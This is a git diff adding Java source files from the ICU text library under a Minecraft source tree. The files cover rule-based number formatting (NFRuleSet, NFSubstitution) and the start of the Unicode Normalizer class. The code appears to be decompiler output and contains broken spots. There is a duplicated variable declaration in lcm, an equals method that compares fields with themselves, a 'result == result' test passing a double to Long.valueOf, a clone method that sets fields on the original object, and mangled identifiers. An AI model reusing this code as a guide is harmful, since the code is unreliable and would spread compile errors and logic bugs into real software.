+      }
+    }
+    
+
+    return true;
+  }
+  
+  public int hashCode()
+  {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder();
+    
+
+    result.append(name + ":\n");
+    
+
+    for (int i = 0; i < rules.length; i++) {
+      result.append("    " + rules[i].toString() + "\n");
+    }
+    
+
+    if (negativeNumberRule != null) {
+      result.append("    " + negativeNumberRule.toString() + "\n");
+    }
+    if (fractionRules[0] != null) {
+      result.append("    " + fractionRules[0].toString() + "\n");
+    }
+    if (fractionRules[1] != null) {
+      result.append("    " + fractionRules[1].toString() + "\n");
+    }
+    if (fractionRules[2] != null) {
+      result.append("    " + fractionRules[2].toString() + "\n");
+    }
+    
+    return result.toString();
+  }
+  
+
+
+
+
+
+
+
+  public boolean isFractionSet()
+  {
+    return isFractionRuleSet;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return name;
+  }
+  
+
+
+
+  public boolean isPublic()
+  {
+    return !name.startsWith("%%");
+  }
+  
+
+
+
+  public boolean isParseable()
+  {
+    return isParseable;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void format(long number, StringBuffer toInsertInto, int pos)
+  {
+    NFRule applicableRule = findNormalRule(number);
+    
+    if (++recursionCount >= 50) {
+      recursionCount = 0;
+      throw new IllegalStateException("Recursion limit exceeded when applying ruleSet " + name);
+    }
+    applicableRule.doFormat(number, toInsertInto, pos);
+    recursionCount -= 1;
+  }
+  
+
+
+
+
+
+
+
+  public void format(double number, StringBuffer toInsertInto, int pos)
+  {
+    NFRule applicableRule = findRule(number);
+    
+    if (++recursionCount >= 50) {
+      recursionCount = 0;
+      throw new IllegalStateException("Recursion limit exceeded when applying ruleSet " + name);
+    }
+    applicableRule.doFormat(number, toInsertInto, pos);
+    recursionCount -= 1;
+  }
+  
+
+
+
+
+
+  private NFRule findRule(double number)
+  {
+    if (isFractionRuleSet) {
+      return findFractionRuleSetRule(number);
+    }
+    
+
+
+
+    if (number < 0.0D) {
+      if (negativeNumberRule != null) {
+        return negativeNumberRule;
+      }
+      number = -number;
+    }
+    
+
+
+    if (number != Math.floor(number))
+    {
+
+      if ((number < 1.0D) && (fractionRules[1] != null)) {
+        return fractionRules[1];
+      }
+      
+
+      if (fractionRules[0] != null) {
+        return fractionRules[0];
+      }
+    }
+    
+
+    if (fractionRules[2] != null) {
+      return fractionRules[2];
+    }
+    
+
+
+    return findNormalRule(Math.round(number));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private NFRule findNormalRule(long number)
+  {
+    if (isFractionRuleSet) {
+      return findFractionRuleSetRule(number);
+    }
+    
+
+
+    if (number < 0L) {
+      if (negativeNumberRule != null) {
+        return negativeNumberRule;
+      }
+      number = -number;
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+    int lo = 0;
+    int hi = rules.length;
+    if (hi > 0) {
+      while (lo < hi) {
+        int mid = lo + hi >>> 1;
+        if (rules[mid].getBaseValue() == number) {
+          return rules[mid];
+        }
+        if (rules[mid].getBaseValue() > number) {
+          hi = mid;
+        }
+        else {
+          lo = mid + 1;
+        }
+      }
+      if (hi == 0) {
+        throw new IllegalStateException("The rule set " + name + " cannot format the value " + number);
+      }
+      NFRule result = rules[(hi - 1)];
+      
+
+
+
+
+
+      if (result.shouldRollBack(number)) {
+        if (hi == 1) {
+          throw new IllegalStateException("The rule set " + name + " cannot roll back from the rule '" + result + "'");
+        }
+        
+        result = rules[(hi - 2)];
+      }
+      return result;
+    }
+    
+    return fractionRules[2];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private NFRule findFractionRuleSetRule(double number)
+  {
+    long leastCommonMultiple = rules[0].getBaseValue();
+    for (int i = 1; i < rules.length; i++) {
+      leastCommonMultiple = lcm(leastCommonMultiple, rules[i].getBaseValue());
+    }
+    long numerator = Math.round(number * leastCommonMultiple);
+    
+
+
+    long difference = Long.MAX_VALUE;
+    int winner = 0;
+    for (int i = 0; i < rules.length; i++)
+    {
+
+
+
+
+
+      long tempDifference = numerator * rules[i].getBaseValue() % leastCommonMultiple;
+      
+
+
+
+      if (leastCommonMultiple - tempDifference < tempDifference) {
+        tempDifference = leastCommonMultiple - tempDifference;
+      }
+      
+
+
+
+
+      if (tempDifference < difference) {
+        difference = tempDifference;
+        winner = i;
+        if (difference == 0L) {
+          break;
+        }
+      }
+    }
+    
+
+
+
+
+
+
+    if ((winner + 1 < rules.length) && (rules[(winner + 1)].getBaseValue() == rules[winner].getBaseValue()))
+    {
+      if ((Math.round(number * rules[winner].getBaseValue()) < 1L) || (Math.round(number * rules[winner].getBaseValue()) >= 2L))
+      {
+        winner++;
+      }
+    }
+    
+
+    return rules[winner];
+  }
+  
+
+
+
+
+  private static long lcm(long x, long y)
+  {
+    long x1 = x;
+    long y1 = y;
+    
+    int p2 = 0;
+    while (((x1 & 1L) == 0L) && ((y1 & 1L) == 0L)) {
+      p2++;
+      x1 >>= 1;
+      y1 >>= 1;
+    }
+    long t;
+    long t;
+    if ((x1 & 1L) == 1L) {
+      t = -y1;
+    } else {
+      t = x1;
+    }
+    
+    while (t != 0L) {
+      while ((t & 1L) == 0L) {
+        t >>= 1;
+      }
+      if (t > 0L) {
+        x1 = t;
+      } else {
+        y1 = -t;
+      }
+      t = x1 - y1;
+    }
+    long gcd = x1 << p2;
+    
+
+    return x / gcd * y;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number parse(String text, ParsePosition parsePosition, double upperBound)
+  {
+    ParsePosition highWaterMark = new ParsePosition(0);
+    Number result = Long.valueOf(0L);
+    Number tempResult = null;
+    
+
+    if (text.length() == 0) {
+      return result;
+    }
+    
+
+    if (negativeNumberRule != null) {
+      tempResult = negativeNumberRule.doParse(text, parsePosition, false, upperBound);
+      if (parsePosition.getIndex() > highWaterMark.getIndex()) {
+        result = tempResult;
+        highWaterMark.setIndex(parsePosition.getIndex());
+      }
+      
+
+
+
+      parsePosition.setIndex(0);
+    }
+    
+
+    for (int i = 0; i < 3; i++) {
+      if (fractionRules[i] != null) {
+        tempResult = fractionRules[i].doParse(text, parsePosition, false, upperBound);
+        if (parsePosition.getIndex() > highWaterMark.getIndex()) {
+          result = tempResult;
+          highWaterMark.setIndex(parsePosition.getIndex());
+        }
+        
+
+
+
+        parsePosition.setIndex(0);
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+    for (int i = rules.length - 1; (i >= 0) && (highWaterMark.getIndex() < text.length()); i--) {
+      if ((isFractionRuleSet) || (rules[i].getBaseValue() < upperBound))
+      {
+
+
+        tempResult = rules[i].doParse(text, parsePosition, isFractionRuleSet, upperBound);
+        if (parsePosition.getIndex() > highWaterMark.getIndex()) {
+          result = tempResult;
+          highWaterMark.setIndex(parsePosition.getIndex());
+        }
+        
+
+
+
+        parsePosition.setIndex(0);
+      }
+    }
+    
+
+
+    parsePosition.setIndex(highWaterMark.getIndex());
+    
+
+
+
+
+    return result;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/NFSubstitution.java b/src/minecraft/com/ibm/icu/text/NFSubstitution.java
new file mode 100644
index 0000000..ec32ce5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/NFSubstitution.java
@@ -0,0 +1,551 @@
+package com.ibm.icu.text;
+
+import java.text.ParsePosition;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class NFSubstitution
+{
+  int pos;
+  NFRuleSet ruleSet = null;
+  
+
+
+
+
+  DecimalFormat numberFormat = null;
+  
+
+
+
+  RuleBasedNumberFormat rbnf = null;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static NFSubstitution makeSubstitution(int pos, NFRule rule, NFRule rulePredecessor, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    if (description.length() == 0) {
+      return new NullSubstitution(pos, ruleSet, formatter, description);
+    }
+    
+    switch (description.charAt(0))
+    {
+
+
+
+
+
+
+    case '<': 
+      if (rule.getBaseValue() == -1L) {
+        throw new IllegalArgumentException("<< not allowed in negative-number rule");
+      }
+      
+
+
+
+      if ((rule.getBaseValue() == -2L) || (rule.getBaseValue() == -3L) || (rule.getBaseValue() == -4L))
+      {
+
+        return new IntegralPartSubstitution(pos, ruleSet, formatter, description);
+      }
+      
+
+
+      if (ruleSet.isFractionSet()) {
+        return new NumeratorSubstitution(pos, rule.getBaseValue(), formatter.getDefaultRuleSet(), formatter, description);
+      }
+      
+
+
+
+      return new MultiplierSubstitution(pos, rule.getDivisor(), ruleSet, formatter, description);
+    
+
+
+
+
+
+    case '>': 
+      if (rule.getBaseValue() == -1L) {
+        return new AbsoluteValueSubstitution(pos, ruleSet, formatter, description);
+      }
+      
+
+
+      if ((rule.getBaseValue() == -2L) || (rule.getBaseValue() == -3L) || (rule.getBaseValue() == -4L))
+      {
+
+        return new FractionalPartSubstitution(pos, ruleSet, formatter, description);
+      }
+      
+
+
+
+
+
+
+      if (ruleSet.isFractionSet()) {
+        throw new IllegalArgumentException(">> not allowed in fraction rule set");
+      }
+      
+
+
+
+      return new ModulusSubstitution(pos, rule.getDivisor(), rulePredecessor, ruleSet, formatter, description);
+    
+
+
+
+
+    case '=': 
+      return new SameValueSubstitution(pos, ruleSet, formatter, description);
+    }
+    
+    
+
+
+
+
+    throw new IllegalArgumentException("Illegal substitution character");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  NFSubstitution(int pos, NFRuleSet ruleSet, RuleBasedNumberFormat formatter, String description)
+  {
+    this.pos = pos;
+    rbnf = formatter;
+    
+
+
+
+
+    if ((description.length() >= 2) && (description.charAt(0) == description.charAt(description.length() - 1)))
+    {
+      description = description.substring(1, description.length() - 1);
+    }
+    else if (description.length() != 0) {
+      throw new IllegalArgumentException("Illegal substitution syntax");
+    }
+    
+
+
+
+    if (description.length() == 0) {
+      this.ruleSet = ruleSet;
+
+
+
+
+    }
+    else if (description.charAt(0) == '%') {
+      this.ruleSet = formatter.findRuleSet(description);
+
+
+
+
+
+    }
+    else if ((description.charAt(0) == '#') || (description.charAt(0) == '0')) {
+      numberFormat = new DecimalFormat(description);
+      numberFormat.setDecimalFormatSymbols(formatter.getDecimalFormatSymbols());
+
+
+
+
+
+
+    }
+    else if (description.charAt(0) == '>') {
+      this.ruleSet = ruleSet;
+      numberFormat = null;
+
+    }
+    else
+    {
+      throw new IllegalArgumentException("Illegal substitution syntax");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setDivisor(int radix, int exponent) {}
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if (that == null) {
+      return false;
+    }
+    if (this == that) {
+      return true;
+    }
+    if (getClass() == that.getClass()) {
+      NFSubstitution that2 = (NFSubstitution)that;
+      
+      return (pos == pos) && ((ruleSet != null) || (ruleSet == null)) && (numberFormat == null ? numberFormat == null : numberFormat.equals(numberFormat));
+    }
+    
+
+    return false;
+  }
+  
+  public int hashCode() {
+    if (!$assertionsDisabled) throw new AssertionError("hashCode not designed");
+    return 42;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    if (ruleSet != null) {
+      return tokenChar() + ruleSet.getName() + tokenChar();
+    }
+    return tokenChar() + numberFormat.toPattern() + tokenChar();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void doSubstitution(long number, StringBuffer toInsertInto, int position)
+  {
+    if (ruleSet != null)
+    {
+
+
+      long numberToFormat = transformNumber(number);
+      
+      ruleSet.format(numberToFormat, toInsertInto, position + pos);
+
+    }
+    else
+    {
+
+      double numberToFormat = transformNumber(number);
+      if (numberFormat.getMaximumFractionDigits() == 0) {
+        numberToFormat = Math.floor(numberToFormat);
+      }
+      
+      toInsertInto.insert(position + pos, numberFormat.format(numberToFormat));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void doSubstitution(double number, StringBuffer toInsertInto, int position)
+  {
+    double numberToFormat = transformNumber(number);
+    
+
+
+    if ((numberToFormat == Math.floor(numberToFormat)) && (ruleSet != null)) {
+      ruleSet.format(numberToFormat, toInsertInto, position + pos);
+
+
+
+
+    }
+    else if (ruleSet != null) {
+      ruleSet.format(numberToFormat, toInsertInto, position + pos);
+    } else {
+      toInsertInto.insert(position + pos, numberFormat.format(numberToFormat));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract long transformNumber(long paramLong);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public abstract double transformNumber(double paramDouble);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Number doParse(String text, ParsePosition parsePosition, double baseValue, double upperBound, boolean lenientParse)
+  {
+    upperBound = calcUpperBound(upperBound);
+    
+
+
+    Number tempResult;
+    
+
+
+    if (ruleSet != null) {
+      Number tempResult = ruleSet.parse(text, parsePosition, upperBound);
+      if ((lenientParse) && (!ruleSet.isFractionSet()) && (parsePosition.getIndex() == 0)) {
+        tempResult = rbnf.getDecimalFormat().parse(text, parsePosition);
+      }
+    }
+    else
+    {
+      tempResult = numberFormat.parse(text, parsePosition);
+    }
+    
+
+
+
+
+    if (parsePosition.getIndex() != 0) {
+      double result = tempResult.doubleValue();
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      result = composeRuleValue(result, baseValue);
+      if (result == result) {
+        return Long.valueOf(result);
+      }
+      return new Double(result);
+    }
+    
+
+
+    return tempResult;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public abstract double composeRuleValue(double paramDouble1, double paramDouble2);
+  
+
+
+
+
+
+
+
+
+
+  public abstract double calcUpperBound(double paramDouble);
+  
+
+
+
+
+
+
+
+
+
+  public final int getPos()
+  {
+    return pos;
+  }
+  
+
+
+
+
+
+  abstract char tokenChar();
+  
+
+
+
+
+
+  public boolean isNullSubstitution()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  public boolean isModulusSubstitution()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/Normalizer.java b/src/minecraft/com/ibm/icu/text/Normalizer.java
new file mode 100644
index 0000000..cb32a16
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/Normalizer.java
@@ -0,0 +1,2450 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.Norm2AllModes;
+import com.ibm.icu.impl.Norm2AllModes.Normalizer2WithImpl;
+import com.ibm.icu.impl.Normalizer2Impl;
+import com.ibm.icu.impl.Normalizer2Impl.UTF16Plus;
+import com.ibm.icu.impl.UCaseProps;
+import com.ibm.icu.lang.UCharacter;
+import java.nio.CharBuffer;
+import java.text.CharacterIterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Normalizer
+  implements Cloneable
+{
+  private UCharacterIterator text;
+  private Normalizer2 norm2;
+  private Mode mode;
+  private int options;
+  private int currentIndex;
+  private int nextIndex;
+  private StringBuilder buffer;
+  private int bufferPos;
+  public static final int UNICODE_3_2 = 32;
+  public static final int DONE = -1;
+  
+  private static final class ModeImpl
+  {
+    private final Normalizer2 normalizer2;
+    
+    private ModeImpl(Normalizer2 n2) { normalizer2 = n2; }
+  }
+  
+  private static final class NFDModeImpl { private NFDModeImpl() {}
+    
+    private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(getNFCInstancedecomp, null);
+    
+     }
+  private static final class NFKDModeImpl { private NFKDModeImpl() {}
+    private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(getNFKCInstancedecomp, null);
+    
+     }
+  private static final class NFCModeImpl { private NFCModeImpl() {}
+    private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(getNFCInstancecomp, null);
+    
+     }
+  private static final class NFKCModeImpl { private NFKCModeImpl() {}
+    private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(getNFKCInstancecomp, null);
+    
+     }
+  private static final class FCDModeImpl { private FCDModeImpl() {}
+    private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(Norm2AllModes.getFCDNormalizer2(), null);
+    
+     }
+  
+  private static final class Unicode32 { private Unicode32() {}
+    private static final UnicodeSet INSTANCE = new UnicodeSet("[:age=3.2:]").freeze();
+    
+     }
+  private static final class NFD32ModeImpl { private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(new FilteredNormalizer2(getNFCInstancedecomp, Normalizer.Unicode32.access$100()), null);
+    
+    private NFD32ModeImpl() {}
+  }
+  
+  private static final class NFKD32ModeImpl { private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(new FilteredNormalizer2(getNFKCInstancedecomp, Normalizer.Unicode32.access$100()), null);
+    
+    private NFKD32ModeImpl() {}
+  }
+  
+  private static final class NFC32ModeImpl { private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(new FilteredNormalizer2(getNFCInstancecomp, Normalizer.Unicode32.access$100()), null);
+    
+    private NFC32ModeImpl() {}
+  }
+  
+  private static final class NFKC32ModeImpl { private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(new FilteredNormalizer2(getNFKCInstancecomp, Normalizer.Unicode32.access$100()), null);
+    
+    private NFKC32ModeImpl() {}
+  }
+  
+  private static final class FCD32ModeImpl { private static final Normalizer.ModeImpl INSTANCE = new Normalizer.ModeImpl(new FilteredNormalizer2(Norm2AllModes.getFCDNormalizer2(), Normalizer.Unicode32.access$100()), null);
+    
+
+
+
+
+    private FCD32ModeImpl() {}
+  }
+  
+
+
+
+
+  public static abstract class Mode
+  {
+    public Mode() {}
+    
+
+
+
+    /**
+     * @deprecated
+     */
+    protected abstract Normalizer2 getNormalizer2(int paramInt);
+  }
+  
+
+
+
+  private static final class NONEMode
+    extends Normalizer.Mode
+  {
+    private NONEMode() {}
+    
+
+
+
+    protected Normalizer2 getNormalizer2(int options) { return Norm2AllModes.NOOP_NORMALIZER2; } }
+  
+  private static final class NFDMode extends Normalizer.Mode { private NFDMode() {}
+    
+    protected Normalizer2 getNormalizer2(int options) { return (options & 0x20) != 0 ? Normalizer.ModeImpl.access$300(Normalizer.NFD32ModeImpl.access$200()) : Normalizer.ModeImpl.access$300(Normalizer.NFDModeImpl.access$400()); }
+  }
+  
+  private static final class NFKDMode extends Normalizer.Mode {
+    private NFKDMode() {}
+    
+    protected Normalizer2 getNormalizer2(int options) { return (options & 0x20) != 0 ? Normalizer.ModeImpl.access$300(Normalizer.NFKD32ModeImpl.access$500()) : Normalizer.ModeImpl.access$300(Normalizer.NFKDModeImpl.access$600()); }
+  }
+  
+  private static final class NFCMode extends Normalizer.Mode {
+    private NFCMode() {}
+    
+    protected Normalizer2 getNormalizer2(int options) { return (options & 0x20) != 0 ? Normalizer.ModeImpl.access$300(Normalizer.NFC32ModeImpl.access$700()) : Normalizer.ModeImpl.access$300(Normalizer.NFCModeImpl.access$800()); }
+  }
+  
+  private static final class NFKCMode extends Normalizer.Mode {
+    private NFKCMode() {}
+    
+    protected Normalizer2 getNormalizer2(int options) { return (options & 0x20) != 0 ? Normalizer.ModeImpl.access$300(Normalizer.NFKC32ModeImpl.access$900()) : Normalizer.ModeImpl.access$300(Normalizer.NFKCModeImpl.access$1000()); }
+  }
+  
+  private static final class FCDMode extends Normalizer.Mode {
+    private FCDMode() {}
+    
+    protected Normalizer2 getNormalizer2(int options) { return (options & 0x20) != 0 ? Normalizer.ModeImpl.access$300(Normalizer.FCD32ModeImpl.access$1100()) : Normalizer.ModeImpl.access$300(Normalizer.FCDModeImpl.access$1200()); }
+  }
+  
+
+
+
+
+
+
+  public static final Mode NONE = new NONEMode(null);
+  
+
+
+
+
+  public static final Mode NFD = new NFDMode(null);
+  
+
+
+
+
+  public static final Mode NFKD = new NFKDMode(null);
+  
+
+
+
+
+  public static final Mode NFC = new NFCMode(null);
+  
+
+
+
+
+  public static final Mode DEFAULT = NFC;
+  
+
+
+
+
+  public static final Mode NFKC = new NFKCMode(null);
+  
+
+
+
+
+  public static final Mode FCD = new FCDMode(null);
+  
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final Mode NO_OP = NONE;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final Mode COMPOSE = NFC;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final Mode COMPOSE_COMPAT = NFKC;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final Mode DECOMP = NFD;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final Mode DECOMP_COMPAT = NFKD;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final int IGNORE_HANGUL = 1;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final QuickCheckResult NO = new QuickCheckResult(0, null);
+  
+
+
+
+
+  public static final QuickCheckResult YES = new QuickCheckResult(1, null);
+  
+
+
+
+
+
+  public static final QuickCheckResult MAYBE = new QuickCheckResult(2, null);
+  
+
+
+
+
+
+
+
+
+  public static final int FOLD_CASE_DEFAULT = 0;
+  
+
+
+
+
+
+
+
+
+  public static final int INPUT_IS_FCD = 131072;
+  
+
+
+
+
+
+
+
+
+  public static final int COMPARE_IGNORE_CASE = 65536;
+  
+
+
+
+
+
+
+
+
+  public static final int COMPARE_CODE_POINT_ORDER = 32768;
+  
+
+
+
+
+
+
+
+  public static final int FOLD_CASE_EXCLUDE_SPECIAL_I = 1;
+  
+
+
+
+
+
+
+
+  public static final int COMPARE_NORM_OPTIONS_SHIFT = 20;
+  
+
+
+
+
+
+
+
+  private static final int COMPARE_EQUIV = 524288;
+  
+
+
+
+
+
+
+
+
+  public Normalizer(String str, Mode mode, int opt)
+  {
+    text = UCharacterIterator.getInstance(str);
+    this.mode = mode;
+    options = opt;
+    norm2 = mode.getNormalizer2(opt);
+    buffer = new StringBuilder();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Normalizer(CharacterIterator iter, Mode mode, int opt)
+  {
+    text = UCharacterIterator.getInstance((CharacterIterator)iter.clone());
+    this.mode = mode;
+    options = opt;
+    norm2 = mode.getNormalizer2(opt);
+    buffer = new StringBuilder();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Normalizer(UCharacterIterator iter, Mode mode, int options)
+  {
+    try
+    {
+      text = ((UCharacterIterator)iter.clone());
+      this.mode = mode;
+      this.options = options;
+      norm2 = mode.getNormalizer2(options);
+      buffer = new StringBuilder();
+    } catch (CloneNotSupportedException e) {
+      throw new IllegalStateException(e.toString());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      Normalizer copy = (Normalizer)super.clone();
+      text = ((UCharacterIterator)text.clone());
+      mode = mode;
+      options = options;
+      norm2 = norm2;
+      buffer = new StringBuilder(buffer);
+      bufferPos = bufferPos;
+      currentIndex = currentIndex;
+      nextIndex = nextIndex;
+      return copy;
+    }
+    catch (CloneNotSupportedException e) {
+      throw new IllegalStateException(e);
+    }
+  }
+  
+
+
+
+  private static final Normalizer2 getComposeNormalizer2(boolean compat, int options)
+  {
+    return (compat ? NFKC : NFC).getNormalizer2(options);
+  }
+  
+  private static final Normalizer2 getDecomposeNormalizer2(boolean compat, int options) { return (compat ? NFKD : NFD).getNormalizer2(options); }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String compose(String str, boolean compat)
+  {
+    return compose(str, compat, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String compose(String str, boolean compat, int options)
+  {
+    return getComposeNormalizer2(compat, options).normalize(str);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compose(char[] source, char[] target, boolean compat, int options)
+  {
+    return compose(source, 0, source.length, target, 0, target.length, compat, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compose(char[] src, int srcStart, int srcLimit, char[] dest, int destStart, int destLimit, boolean compat, int options)
+  {
+    CharBuffer srcBuffer = CharBuffer.wrap(src, srcStart, srcLimit - srcStart);
+    CharsAppendable app = new CharsAppendable(dest, destStart, destLimit);
+    getComposeNormalizer2(compat, options).normalize(srcBuffer, app);
+    return app.length();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String decompose(String str, boolean compat)
+  {
+    return decompose(str, compat, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String decompose(String str, boolean compat, int options)
+  {
+    return getDecomposeNormalizer2(compat, options).normalize(str);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int decompose(char[] source, char[] target, boolean compat, int options)
+  {
+    return decompose(source, 0, source.length, target, 0, target.length, compat, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int decompose(char[] src, int srcStart, int srcLimit, char[] dest, int destStart, int destLimit, boolean compat, int options)
+  {
+    CharBuffer srcBuffer = CharBuffer.wrap(src, srcStart, srcLimit - srcStart);
+    CharsAppendable app = new CharsAppendable(dest, destStart, destLimit);
+    getDecomposeNormalizer2(compat, options).normalize(srcBuffer, app);
+    return app.length();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static String normalize(String str, Mode mode, int options)
+  {
+    return mode.getNormalizer2(options).normalize(str);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static String normalize(String src, Mode mode)
+  {
+    return normalize(src, mode, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int normalize(char[] source, char[] target, Mode mode, int options)
+  {
+    return normalize(source, 0, source.length, target, 0, target.length, mode, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int normalize(char[] src, int srcStart, int srcLimit, char[] dest, int destStart, int destLimit, Mode mode, int options)
+  {
+    CharBuffer srcBuffer = CharBuffer.wrap(src, srcStart, srcLimit - srcStart);
+    CharsAppendable app = new CharsAppendable(dest, destStart, destLimit);
+    mode.getNormalizer2(options).normalize(srcBuffer, app);
+    return app.length();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String normalize(int char32, Mode mode, int options)
+  {
+    if ((mode == NFD) && (options == 0)) {
+      String decomposition = getNFCInstanceimpl.getDecomposition(char32);
+      
+      if (decomposition == null) {
+        decomposition = UTF16.valueOf(char32);
+      }
+      return decomposition;
+    }
+    return normalize(UTF16.valueOf(char32), mode, options);
+  }
+  
+
+
+
+
+
+
+  public static String normalize(int char32, Mode mode)
+  {
+    return normalize(char32, mode, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static QuickCheckResult quickCheck(String source, Mode mode)
+  {
+    return quickCheck(source, mode, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static QuickCheckResult quickCheck(String source, Mode mode, int options)
+  {
+    return mode.getNormalizer2(options).quickCheck(source);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static QuickCheckResult quickCheck(char[] source, Mode mode, int options)
+  {
+    return quickCheck(source, 0, source.length, mode, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static QuickCheckResult quickCheck(char[] source, int start, int limit, Mode mode, int options)
+  {
+    CharBuffer srcBuffer = CharBuffer.wrap(source, start, limit - start);
+    return mode.getNormalizer2(options).quickCheck(srcBuffer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isNormalized(char[] src, int start, int limit, Mode mode, int options)
+  {
+    CharBuffer srcBuffer = CharBuffer.wrap(src, start, limit - start);
+    return mode.getNormalizer2(options).isNormalized(srcBuffer);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean isNormalized(String str, Mode mode, int options)
+  {
+    return mode.getNormalizer2(options).isNormalized(str);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static boolean isNormalized(int char32, Mode mode, int options)
+  {
+    return isNormalized(UTF16.valueOf(char32), mode, options);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int compare(char[] s1, int s1Start, int s1Limit, char[] s2, int s2Start, int s2Limit, int options)
+  {
+    if ((s1 == null) || (s1Start < 0) || (s1Limit < 0) || (s2 == null) || (s2Start < 0) || (s2Limit < 0) || (s1Limit < s1Start) || (s2Limit < s2Start))
+    {
+
+
+      throw new IllegalArgumentException();
+    }
